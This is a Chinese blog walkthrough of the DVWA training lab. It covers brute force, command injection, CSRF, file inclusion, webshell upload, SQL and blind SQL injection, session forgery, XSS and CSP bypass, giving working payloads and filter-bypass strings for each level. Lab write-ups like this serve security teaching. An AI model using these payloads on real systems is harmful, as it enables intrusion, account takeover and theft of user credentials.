环境搭建
搭建DVWA Web渗透测试靶场_dvwa 白屏-CSDN博客
Brute Force(暴力破解)
LOW
输入账号密码
burp suite拦截请求
请求发送至intruder
attack type:选择cluster bomb,将用户名和密码Add添加
payload 1 添加用户名字典,payload 2 添加密码字典
点击start attack,开始爆破,最后得出正确的用户名和密码
Length:4677长度与其他的长度不一样,判断为正确的用户名密码
验证
Medium
medium级别的代码对用户输入的参数进行了简单的过滤,对一些预定义字符进行了转义,基本上防止了SQL注入。还有一个措施就是如果密码输错了,则延时两秒之后才能再次提交。
这依然可以和 low 级别的爆破一样,只不过时间长了点而已。因为试一次密码要过滤2秒才能试下一个。
过程参考LOW级爆破
High
High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token
将请求发送至intruder
attack type:选择pitchfock,将password和user_token两个参数,Add添加
设置参数,在option选项卡中将攻击线程threads设置为1
Grep - Extract:点击add
点击Fetch response
找到value值:复制备用
Redirections:选择always
payload set 1:load密码字典
payload set 2:payload type 选择Recursive grep
粘贴token值,点击start attack
爆破成功
验证
Command Injection(命令注入)
LOW
命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻击手段。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一。
常用到的命令:(总结来说就是系统操作命令DOS命令都可以在此执行试试)
ipconfig,net user(查看系统用户),dir(查看当前目录),find(查找包含指定字符的行),whoami(查看系统当前有效用户名)A&B(简单的拼接,AB之间无制约关系),A&&B(A执行成功才会执行B),A|B(A的输出作为B的输入),A||B(A执行失败,然后才会执行B)
LOW级源码没有进行任何过滤,可以直接输入特定的命令,获取想要的信息。
输入”192.168.1.3 && net user”,返回结果如下
发现乱码
乱码解决方法:在DVWA-master\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改”charset=gb2312”,即可
显示正常
127.0.0.1 | dir
127.0.0.1 | ipconfig
Medium
分析源代码:
服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。
绕过:
127.0.0.1 | dir
127.0.0.1 & ipconfig
127.0.0.1&;&ipconfig
High
分析源代码:
黑名单把敏感的字符都被过滤了,但是 | 明显后面有个空格,所以如果不使用空格的话依然可以绕过
127.0.0.1 |dir
127.0.0.1 |ipconfig
CSRF(跨站点请求伪造)
跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。 --百度
跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。 --百度
LOW
New password 和Confirem new password 输入不同密码,点击Change
得到修改密码的URL链接
我们打开另一个页面,在顶部URL中输入刚才得到的链接,然后修改密码
http://192.168.1.3/dvwa/vulnerabilities/csrf/?
password_new=qawsed&password_conf=qawsed&Change=Change#
页面显示密码修改成功
Medium
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
代码检查了保留变量HTTP_REFERER (http包头部的Referer字段的值,表示来源地址)是否包含SERVER_NAME(http包头部的 Host 字段表示要访问的主机名)
正常输入密码,burp suite拦截请求
请求头存在Referer字段
复制当前页面的URL链接,重新打开一个页面,并粘贴
可以看到,这个请求中没有个Referer字段,所以无法修改密码
现在将Referer字段复制到,没有这个Referer字段的请求中
点击Send发送
验证
密码:password
修改成功
High
分析源码
High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。这里因为对请求的token进行了验证,所以比上两个等级的更加的安全。
因为该请求是get请求,所以token验证会被放在请求URL中,我们随便输入密码验证一下,可以看到,在请求的URL中最末尾加入了token
什么是token:Token在计算机身份认证中是令牌(临时)的意思,在词法分析中是标记的意思。一般作为邀请、登录系统使用。--百度
漏洞利用
要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie,去修改密码的页面,获取关键的token。
试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击。代码如下:
代码地址:DVWA通关教程(上) - FreeBuf网络安全行业门户
攻击思路:当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。
注:实际操作上存在跨域问题,浏览器是不允许跨域请求的。
举例说明:我们的框架iframe访问的地址是http://127.0.0.1/dvwa/vulnerabilities/csrf,位于服务器127.0.0.1(域名A)上,而我们的攻击页面位于黑客服务器另一个ip地址(域名B)上.
两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。
由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器192.168.109.136中,才有可能完成攻击。
可以利用High级别的XSS漏洞协助获取Anti-CSRF token
XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token即可。
还可以参考:DVWA超详细通关教程 - 知乎
File Inclusion(文件包含)
文件包含与漏洞
文件包含:
开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。
文件包含漏洞:
开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。
文件包含漏洞用到的函数
require:找不到被包含的文件,报错,并且停止运行脚本。
include:找不到被包含的文件,只会报错,但会继续运行脚本。
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。
目录遍历与文件包含的区别
目录遍历是可以读取web目录以外的其他目录,根源在于对路径访问权限设置不严格,针对本系统。
文件包含是利用函数来包含web目录以外的文件,分为本地包含和远程包含。
文件包含特征
?page=a.php ?home=b.html ?file=content
LOW
源码对包含的文件没有进行任何的过滤!这导致我们可以进行包含任意的文件。
查看phpinfo.php
http://192.168.1.3/dvwa/vulnerabilities/fi/?page=http://192.168.1.3/phpinfo.php
访问一个不存在的文件
出现了报错,但是暴露了网站的路径
在网站暴露出的目录下:C:\phpStudy\phpStudy_64\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\ 创建一个测试文件cd.php,文件内容是“<?php system('ipconfig');?>”.
可以看到,通过文件包含漏洞可以直接查看到该文件内容
然后修改文件后缀名为 .txt,也可以访问。
Medium
源代码使用 str_replace函数 对http:// 和 https://进行了过滤,防止了远程包含漏洞的产生,也过滤了 ../ 和 ..\ 防止了进行目录切换的包含。
但是使用 str_replace 函数进行过滤是很不安全的,因为可以使用双写绕过。例如,我们包含 hthttp://tp://xx 时,str_replace 函数只会过滤一个 http:// ,所以最终还是会包含到 http://xx
访问这个链接
http://192.168.1.3/dvwa/vulnerabilities/fi/?page=http://192.168.1.3/phpinfo.php
发现报错,因为 str_replace函数 对http:// 和 https:// 进行了过滤
修改payload,这里采用双写或者大小写绕过
http://192.168.1.3/dvwa/vulnerabilities/fi/?page=htthttp://p://192.168.1.3/phpinfo.php
成功访问
High
源代码对文件名进行了限制,必须为 file 或者 include.php ,否则会提示Error:File not found。
可以利用 file 协议进行绕过
http://192.168.1.3/dvwa/vulnerabilities/fi/?page=
file://C:\phpStudy\phpStudy_64\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\cd.txt
File Upload(文件上传)
利用条件
1. 文件可以上传到服务器
2. 文件能够被后端服务器来解析执行
3. 知道上传文件的路径,并且可以访问
LOW
准备php一句话马,上传文件
蚁剑连接
查看文件
Medium
查看源码,发现对文件上传的类型、大小做了限制,必须是jpeg、png,文件要小于100000B
上传文件,burp拦截请求,修改文件后缀
修改文件后缀为 .php ,然后点击Forward
上传成功
蚁剑连接
High
查看源码,发现对文件上传的类型、大小做了限制,文件格式必须是jpg、jpeg、png
getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
这一关可以用文件上传和文件包含漏洞 绕过。
#实战中可能没有文件包含漏洞,所以无法解析执行代码,蚁剑也无法连接
Insecure CAPTCHA(不安全的验证码)
LOW
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) )
#符合POST请求里带Change、step是2的条件,就可以直接跳过第一步的验证码。
#通过Burp代理,修改step=2,就可以绕过第一步,从而再利用CSRF漏洞成功修改密码。
输入密码,burp拦截请求
将step=1改成2,就可成功绕过
修改成功
Medium
分析源码:
Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与Low级别的验证没有任何区别。
可以通过抓包,更改step参数,增加passed_captcha参数(passed_captcha=true)
修改前:
修改后:
然后点击Forward
修改成功
High
分析源码:
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
以上两个条件符合,就可以绕过验证码
修改前:
修改后:
然后点击Forward
修改成功
SQL Injection
LOW
1.判断是否存在SQL注入
输入1,提交
输入 1 and 1=2 ,提交
输入 1' , 提交
回显报错,发现存在注入点,注入类型为:字符型注入
2.判断字段
1' order by 2#
1' order by 3#
回显报错,判断有两个字段
使用union联合查询
1' union select 1,2 #
查询当前的数据库,版本号和用户名
1' union select version(),database()#
1' union select database(),user() #
数据库名:dvwa
版本:8.0.12
用户:root@localhost
获取数据库中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
获取表中的字段名
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
获得字段中的数据
1' union select user, password from users#
使用 MD5 在线解密:md5在线解密破解,md5解密加密
Medium
这一关里用户无法输入,可以使用burp绕过
将请求发送至Repeater
已知存在注入点,这里直接查询数据库和和版本
1 union select version(),database()#
获取数据库中的表
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
获取表中的字段名,考虑到单引号被转义,可以利用16进制绕过。('user')
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
获得字段中的数据
1 union select user, password from users#
使用 MD5 在线解密:md5在线解密破解,md5解密加密
High
点击“here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制啦查询条数,可以通过burpsuit抓包,修改数据包实现绕过。
步骤与LOW级查询步骤一致
直接查询user和password
1' union select user,password from users#
SQL Injection (Blind) (SQL盲注)
LOW
输入1显示存在
输入1 and 1 =1 和1 and 1 = 2均显示存在
输入1' and 1 = 2#不存在
存在字符型的盲注
查询数据库名:输入1’and length(database())=3#
回显报错
1’and length(database())=4#
回显正常,证明数据库名的长度为4
database() 该函数可以显示当前正在使用的数据库库名。
substr() 这个函数很常用,有三个参数,按顺序分别是字符串,起始位置和长度。可以求指定字符串的子串。当然,第一个参数可以是列的名字。这个函数似乎和mid没有什么不同,如果mid或者substr中的某一个函数被禁了就用另一个。
ord() 该函数用于获得某个字符串最开始的字符的ASCII值。
ascii() 目前未发现与ord的不同。不过这样也有很大好处,那就是,如果SQL注入的题目中过滤了or,ord函数,可以用ascii函数替代。
使用ASCII值猜解数据库的名字
#ASCII码对应表,自行搜索
1’ and ascii(substr(database(),1,1))=99 #
回显不存在
1’ and ascii(substr(database(),1,1))=100 #
回显存在,说明数据库名的第一个字符的ascii值等于100。字符为小写字母 d .
第一个字母的ASCII值是100,是小写字母d,以此类推得出数据库名是dvwa。
猜解表数
1' and (select count() from information_schema.tables where table_schema ="dvwa")>2#
回显不存在
1' and (select count() from information_schema.tables where table_schema ="dvwa")=2 #
回显存在,证明有2张表
猜解表名
1' and length(substr((select table_name from information_schema.tables where table_schema="dvwa" limit 0,1),1))>10 #
回显不存在
1' and length(substr((select table_name from information_schema.tables where table_schema="dvwa" limit 0,1),1))=9 #
回显存在,说明第一个表名的长度=9
猜解第一个表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema="dvwa" limit 0,1),1,1))=102 #
回显不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema="dvwa" limit 0,1),1,1))=103 #
回显存在
ASCII值是103,对应的值是 g
重复步骤猜解,可以得出两个表名:guestbook、users
猜解字段名
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 #
显示存在,证明有8个字段
最后使用2分法猜解字段名和字段中的数据。
Medium
Medium级别的代码利用mysql_real_escape_string函数对特殊符号进行了转义
这一关可以使用burp绕过
具体步骤参考LOW级
High
High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。
具体步骤参考LOW级
Weak Session IDs(弱会话)
LOW
Weak Session IDs(弱会话),用户访问服务器的时候,一般服务器都会分配一个身份证 session id 给用户,用于标识。用户拿到 session id 后就会保存到 cookies 上,之后只要拿着 cookies 再访问服务器,服务器就知道你是谁了。
但是 session id 过于简单就会容易被人伪造。根本都不需要知道用户的密码就能访问,用户服务器的内容了。
low级别未设置过滤,直接用bp抓包,可以清楚的看到dvwaSesion的cookie,每重放一次,dvwaSesion增加一:
将Cookie复制备用
使用火狐浏览器的hackbar提交,选择cookie提交方式,然后清理浏览器此页面的cookie值
新建空白页,填写URL和Cookie,然后提交,发现可以直接登录dvwa,绕过密码验证
Medium
这一关是基于时间戳生成dvwaSesion的,可以通过时间戳转换工具生成时间戳
时间戳(Unix timestamp)转换工具 - 在线工具
burp拦截请求,并发送至Repeater
点击Send发送,得到时间戳:1697777643
生成时间戳:1697777414
新建空白页,填写URL和Cookie,然后提交,可以绕过登录
Cookie:dvwaSession=1697777414; security=medium; PHPSESSID=v7egpenl6hcdllgq84v189348v
# 修改dvwaSession值为:1697777414
High
这里将cookie的值进行了md5计算,并且还设置了期限之类进一步增加
SessionID的安全性,但不足的是进行md5散列的值是0的累加,若有经验的人在多次尝试后,很容易看出来其中的规律。
burp拦截请求,并发送至Repeater
点击Send发送,可以看出dvwaSesion值经过cmd5加密
将Cookie值:
dvwaSession=1697788782; security=high; PHPSESSID=7b8sceftg0s42la523d59hh4mm
修改为:
dvwaSession=1; security=low; PHPSESSID=7b8sceftg0s42la523d59hh4mm
绕过登录
DOM Based Cross Site Scripting (XSS)
基于DOM的跨站点脚本(XSS)
XSS(DOM)是一种基于DOM树的一种代码注入攻击方式,可以是反射型的,也可以是存储型的,所以它一直被划分第三种XSS
与前两种XSS相比,它最大的特点就是不与后台服务器交互,只是通过浏览器的DOM树解析产生
除了js,flash等脚本语言也有可能存在XSS漏洞
LOW
源码分析:无任何过滤所以我们可以构造XSS代码
发现传参点:default=
构造语句:http://192.168.1.3/dvwa/vulnerabilities/xss_d/?default=<script>alert(321)</script>
执行成功
Medium
medium级别的代码先检查了default参数是否为空,如果不为空则将default等于获取到的default值。这里还使用了stripos 用于检测default值中是否有 <script ,如果有的话,则将 default=English 。
很明显,这里过滤了 <script
使用事件型xxs
<img src=# οnerrοr=alert(1)>
http://192.168.1.3/dvwa/vulnerabilities/xss_d/?default=<img src=# οnerrοr=alert(123)>
没有弹出页面
F12,发现输入的值在select标签里面
闭合标签
</select><img src=# οnerrοr=alert(123)>
High
switch条件判断,当default传参值为其他值是 默认选择为English
#</option></select><BODY ONLOAD=alert(12)>
Reflected Cross Site Scripting (XSS)
反射式跨站点脚本(XSS)
LOW
直接通过$_GET方式获取name的值,之后未进行任何编码和过滤,导致用户输入一段js脚本会执行。
输入任意值,URL发现name传参点
利用name进行传参
<script>alert(321)</script>
Medium
源码对<script>标签做了过滤
将<script>标签替换为空
<scr<script>ipt>alert(6)</script>
High
高难度是用preg_replace()函数进行正则过滤<script>标签,
使用 img 标签和其编码转换后的 XSS payload
<img src=1 οnerrοr=alert(/xss/)>
Stored Cross Site Scripting (XSS)
存储的跨站点脚本(XSS)
存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等
LOW
low级别的代码对我们输入的message和name并没有进行XSS过滤,而且数据存储在数据库中,存在比较明显的存储型XSS漏洞
输入xss代码
<script>alert(1)</script>
Medium
addslashes(string) :函数返回在预定义字符之前添加反斜杠的字符串,预定义字符 ' 、" 、\ 、NULL
strip_tags(string) :函数剥去string字符串中的 HTML、XML 以及 PHP 的标签
htmlspecialchars(string): 把预定义的字符 "<" (小于)、 ">" (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素
1.大小写混淆绕过
<sc<script>ript>alert(/name/)</script>
2.大小写混淆绕过,<ScRipt>alert(/name/);</ScRipt>
High
使用正则表达式过滤了<script>标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS。
使用事件型XSS
<img src=1 οnerrοr=alert(3)>
Content Security Policy (CSP) Bypass
绕过内容安全策略(CSP)
CSP [1] 以白名单的机制对网站加载或执行的资源起作用。在网页中,这样的策略通过 HTTP 头信息或者 meta 元素定义。CSP虽然提供了强大的安全保护,但是他也造成了如下问题:Eval及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。这些问题阻碍CSP的普及,如果要使用CSP技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的JavaScript代码和做一些调整,参考文献汇总的Content Security Policy 1.0 研究的技术可以自动化分离代码和数据,帮助网站支持CSP技术避免潜在的跨站攻击。 --百度
LOW
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com
打开此网站:https://pastebin.com
在New paste 写下alert (321)
然后点击Create New Paste
点击raw
将此网址复制
将网址粘贴进去,点击Include
https://pastebin.com/raw/8HdtQ063
没有弹窗,(是因为这个网址是USA的)
Medium
unsafe-inline:当csp有Unsafe-inline时, 并且受限于csp无法直接引入外部js, 不过当frame-src
为self, 或者能引入当前域的资源的时候, 即有一定可能能够引入外部js。
nonce-source,仅允许特定的内联脚本块。如源码中:nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='
直接输入备注即可
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(321)</script>
Hight
Coentent-Security除了自身,其余的外部资源全部过滤了。
浏览器按f12,打开source页签,找到high.js文件,加个断点,修改callback参数为alert(document.cookie)
,然后按Ctrl+s保存修改
点击Solve the sum
点击运行
出现弹框
参考:
【精选】DVWA的安装教程和通关详解-CSDN博客
https://www.freebuf.com/articles/web/278720.html
DVWA通关教程(下) - FreeBuf网络安全行业门户
DVWA通关指南-CSP Bypass(内容安全策略) | 施坤的博客